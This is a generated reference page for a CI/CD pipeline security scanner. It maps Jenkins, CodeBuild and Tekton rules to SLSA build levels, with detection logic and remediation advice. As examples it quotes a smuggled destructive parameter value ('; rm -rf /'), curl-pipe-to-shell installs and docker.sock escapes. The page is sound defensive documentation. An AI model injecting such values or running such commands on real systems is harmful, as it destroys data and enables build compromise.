Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Source: JF-023 in the Jenkins provider.
JF-028: No SLSA provenance attestation produced MEDIUM
Evidences: Build.L1.Provenance Build L1: Provenance describing how the artifact was produced is generated, Build.L2.Signed Build L2: Provenance is authenticated and cannot be forged by tenants, Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. cosign sign signs the artifact bytes. cosign attest signs an in-toto statement describing how the build ran, builder, source commit, input parameters. SLSA L3 verifiers check the latter so consumers can enforce policy on where and how artifacts were produced.
Recommendation. Add a sh 'cosign attest --predicate=provenance.intoto.jsonl …' step after the build, or integrate the TestifySec witness run attestor. JF-006 covers signing; this rule covers the build-provenance statement SLSA Build L3 requires.
Source: JF-028 in the Jenkins provider.
JF-030: Dangerous shell idiom (eval, sh -c variable, backtick exec) HIGH
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Complements JF-002 (script injection from untrusted build parameters). Fires on intrinsically risky shell idioms, eval, sh -c "$X", backtick exec, regardless of whether the input source is currently trusted.
Recommendation. Replace eval "$VAR" / sh -c "$VAR" / backtick exec with direct command invocation. Validate any value feeding a dynamic command at the boundary, or pass arguments as a list to a real sh step so the shell is not re-invoked.
Known false positives.
sh 'eval "$(ssh-agent -s)"'and similareval "$(<literal-tool>)"bootstrap idioms are intentionally NOT flagged, the substituted command is literal, only its output is eval'd.
Source: JF-030 in the Jenkins provider.
JF-031: Package install bypasses registry integrity (git / path / tarball source) MEDIUM
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Complements JF-021 (missing lockfile flag). Git URL installs without a commit pin, local-path installs, and direct tarball URLs bypass the registry integrity controls the lockfile relies on.
Recommendation. Pin git dependencies to a commit SHA. Publish private packages to an internal registry (Artifactory, Nexus) instead of installing from a filesystem path or tarball URL.
Source: JF-031 in the Jenkins provider.
PBAC-001: CodeBuild project has no VPC configuration HIGH
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. A CodeBuild project with no VPC configuration runs in AWS-managed network space, egress to the public internet is unrestricted, every package registry / CDN / arbitrary endpoint is reachable. Inside a VPC, security-group + VPC-endpoint policies become the egress gate, which is the only practical way to limit a compromised build's exfiltration paths.
Recommendation. Configure the CodeBuild project to run inside a VPC with appropriate subnets and security groups. Use a NAT gateway or VPC endpoints to control outbound internet access and restrict build nodes to only the network resources they require.
Source: PBAC-001 in the AWS provider.
PBAC-002: CodeBuild service role shared across multiple projects MEDIUM
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. One CodeBuild service role across many projects means a compromise of any project's build environment grants access to whatever resources every other project's build needs. Per-project roles cap the radius, a backdoor in the foo-tests build can't reach the deploy-prod build's secrets if they each have their own role.
Recommendation. Create a dedicated IAM service role for each CodeBuild project, scoped to only the permissions that specific project requires. This limits the blast radius if one project's build is compromised.
Source: PBAC-002 in the AWS provider.
TKN-001: Tekton step image not pinned to a digest HIGH
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. Applies to Task and ClusterTask kinds. The image must contain @sha256: followed by a 64-char hex digest. Any tag-only reference, including :latest, fails.
Recommendation. Pin every step image to a content-addressable digest (gcr.io/tekton-releases/git-init@sha256:<digest>). Tag-only references (alpine:3.18) and rolling tags (alpine:latest) let a compromised registry update redirect the step at the next pull, with no audit trail in the Task manifest.
Source: TKN-001 in the Tekton provider.
TKN-002: Tekton step runs privileged or as root HIGH
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Detection fires on a step with securityContext.privileged: true, securityContext.runAsUser: 0, securityContext.runAsNonRoot: false, securityContext.allowPrivilegeEscalation: true, or no securityContext block at all.
Recommendation. Set securityContext.privileged: false, runAsNonRoot: true, and allowPrivilegeEscalation: false on every step. A privileged step shares the node's kernel namespaces; a malicious or compromised step image then has root on the build node, breaking the boundary between build and cluster.
Source: TKN-002 in the Tekton provider.
TKN-003: Tekton param interpolated unsafely in step script CRITICAL
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Fires on any $(params.X) or $(workspaces.X.path) token inside a script: body that isn't already wrapped in double quotes ("$(params.X)"). Doesn't fire on the env-var indirection pattern, which is safe.
Recommendation. Don't interpolate $(params.<name>) directly into the step script:. Tekton substitutes the value before the shell parses it, so a parameter containing ; rm -rf / runs as shell. Receive the parameter through env: (valueFrom: ... or value: $(params.<name>)) and reference the env var quoted in the script ("$NAME"); or pass it as a positional argument to a shell function.
Source: TKN-003 in the Tekton provider.
TKN-004: Tekton Task mounts hostPath or shares host namespaces CRITICAL
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Checks spec.volumes[].hostPath (legacy v1beta1 form), spec.workspaces[].volumeClaimTemplate.spec.storageClassName == 'hostpath', and spec.podTemplate host-namespace flags.
Recommendation. Use Tekton workspaces: backed by emptyDir or persistentVolumeClaim instead of hostPath. Drop hostNetwork: true / hostPID: true / hostIPC: true on the Task's podTemplate. A hostPath mount of /var/run/docker.sock or / lets the build break out of the pod and act as the underlying node.
Source: TKN-004 in the Tekton provider.
TKN-005: Literal secret value in Tekton step env or param default CRITICAL 🔧 fix
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. Strong matches: AWS access keys, GitHub PATs, JWTs. Weak match: env var name suggests a secret (*_TOKEN, *_KEY, *PASSWORD, *SECRET) and the value is a non-empty literal rather than a $(params.X) / valueFrom reference.
Recommendation. Mount secrets via env.valueFrom.secretKeyRef (or a volumes: Secret mount) instead of writing the value into env.value or params[].default. Task manifests are committed to git and cluster-readable; literal values leak through normal access paths.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Source: TKN-005 in the Tekton provider.
TKN-006: Tekton run lacks an explicit timeout LOW
Evidences: Build.L3.Ephemeral Build L3: Build environment is ephemeral and provisioned fresh for each run.
How this is detected. Applies to PipelineRun, TaskRun, and Pipeline. For Pipelines, the rule looks for spec.tasks[].timeout as evidence of intent. Task / ClusterTask themselves don't carry a timeout, the timeout lives on the concrete run.
Recommendation. Set spec.timeouts.pipeline (or spec.timeout on a TaskRun) on every PipelineRun and TaskRun. A misbehaving step otherwise pins a build pod for the cluster's default timeout (1h). For long jobs, set a generous explicit value (2h, 6h) rather than leaving it implicit.
Source: TKN-006 in the Tekton provider.
TKN-007: Tekton run uses the default ServiceAccount MEDIUM
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. An explicit serviceAccountName: default setting is treated the same as omission.
Recommendation. Set spec.serviceAccountName on every TaskRun and PipelineRun to a least-privilege ServiceAccount that carries only the secrets and RBAC the run actually needs. Falling back to the namespace's default SA grants access to whatever cluster-admin or wildcard role someone later binds to default, a privilege-escalation surface that should never be load-bearing for build pods.
Source: TKN-007 in the Tekton provider.
TKN-008: Tekton step script pipes remote install or disables TLS HIGH 🔧 fix
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Uses the cross-provider CURL_PIPE_RE and TLS_BYPASS_RE regexes so detection is consistent with the GHA / GitLab / CircleCI / Cloud Build providers.
Recommendation. Replace curl ... | sh with a download-then-verify-then-execute pattern. Drop TLS-bypass flags (curl -k, git config http.sslverify false); install the missing CA into the step image instead. Both forms let an attacker controlling DNS / a transparent proxy substitute the script the step runs.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Source: TKN-008 in the Tekton provider.
TKN-009: Artifacts not signed (no cosign/sigstore step) MEDIUM
Evidences: Build.L2.Signed Build L2: Provenance is authenticated and cannot be forged by tenants.
How this is detected. Detection mirrors GHA-006 / BK-009 / CC-006, the shared signing-token catalog (cosign, sigstore, slsa-github-generator, slsa-framework, notation-sign) is searched across every string in the Task / Pipeline document. The rule only fires on artifact-producing Tasks (those that invoke docker build / docker push / buildah / kaniko / helm upgrade / aws s3 sync / etc.) so lint-only Tasks don't trip it.
Recommendation. Add a signing step to the Task, either a dedicated cosign sign step after the build, or use the official cosign Tekton catalog Task as a referenced step. The Task should sign by digest (cosign sign --yes <repo>@sha256:<digest>) so a re-pushed tag can't bypass the signature.
Source: TKN-009 in the Tekton provider.
TKN-010: No SBOM generated for build artifacts MEDIUM
Evidences: Build.L1.Provenance Build L1: Provenance describing how the artifact was produced is generated.
How this is detected. An SBOM (CycloneDX or SPDX) records every component baked into the build. Without one, post-incident triage can't answer did this CVE ship? for a given artifact. Detection uses the shared SBOM-token catalog: syft, cyclonedx, cdxgen, spdx-tools, microsoft/sbom-tool. Fires only on artifact-producing Tasks.
Recommendation. Add an SBOM-generation step. syft <artifact> -o cyclonedx-json > $(workspaces.output.path)/sbom.json runs in the official syft Tekton catalog Task. cyclonedx-cli and cdxgen are alternatives. Publish the SBOM as a Workspace result so downstream Tasks can consume it.
Source: TKN-010 in the Tekton provider.
TKN-011: No SLSA provenance attestation produced MEDIUM
Evidences: Build.L1.Provenance Build L1: Provenance describing how the artifact was produced is generated, Build.L2.Signed Build L2: Provenance is authenticated and cannot be forged by tenants, Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. Provenance generation is distinct from signing. A signed artifact proves who published it; a provenance attestation proves where / how it was built. Tekton Chains is the Tekton-native answer, once enabled on the cluster, every TaskRun's outputs are signed and attested without per-Task wiring. Detection uses the shared provenance-token catalog (slsa-framework, cosign attest, in-toto, attest-build-provenance, witness run). Tasks produced by tekton-chains pass on the cosign attest match.
Recommendation. After the build step, run cosign attest --predicate slsa.json --type slsaprovenance <ref> (or use the tekton-chains controller, which signs and attests every TaskRun automatically when configured). Publish the attestation alongside the artifact so consumers can verify how it was built, not just who signed it.
Source: TKN-011 in the Tekton provider.
Not covered
- Source track (branch protection, two-reviewer enforcement, retained history). Scanned via the dedicated SCM posture provider instead, which probes GitHub / GitLab / Bitbucket REST APIs.
- Dependency track. Requires package-manifest and lockfile analysis across the dependency graph; out of scope for a CI/CD configuration scan.
This page is generated. Edit pipeline_check/core/standards/data/slsa.py (mappings) or scripts/gen_standards_docs.py (intro / per-control prose) and run python scripts/gen_standards_docs.py slsa.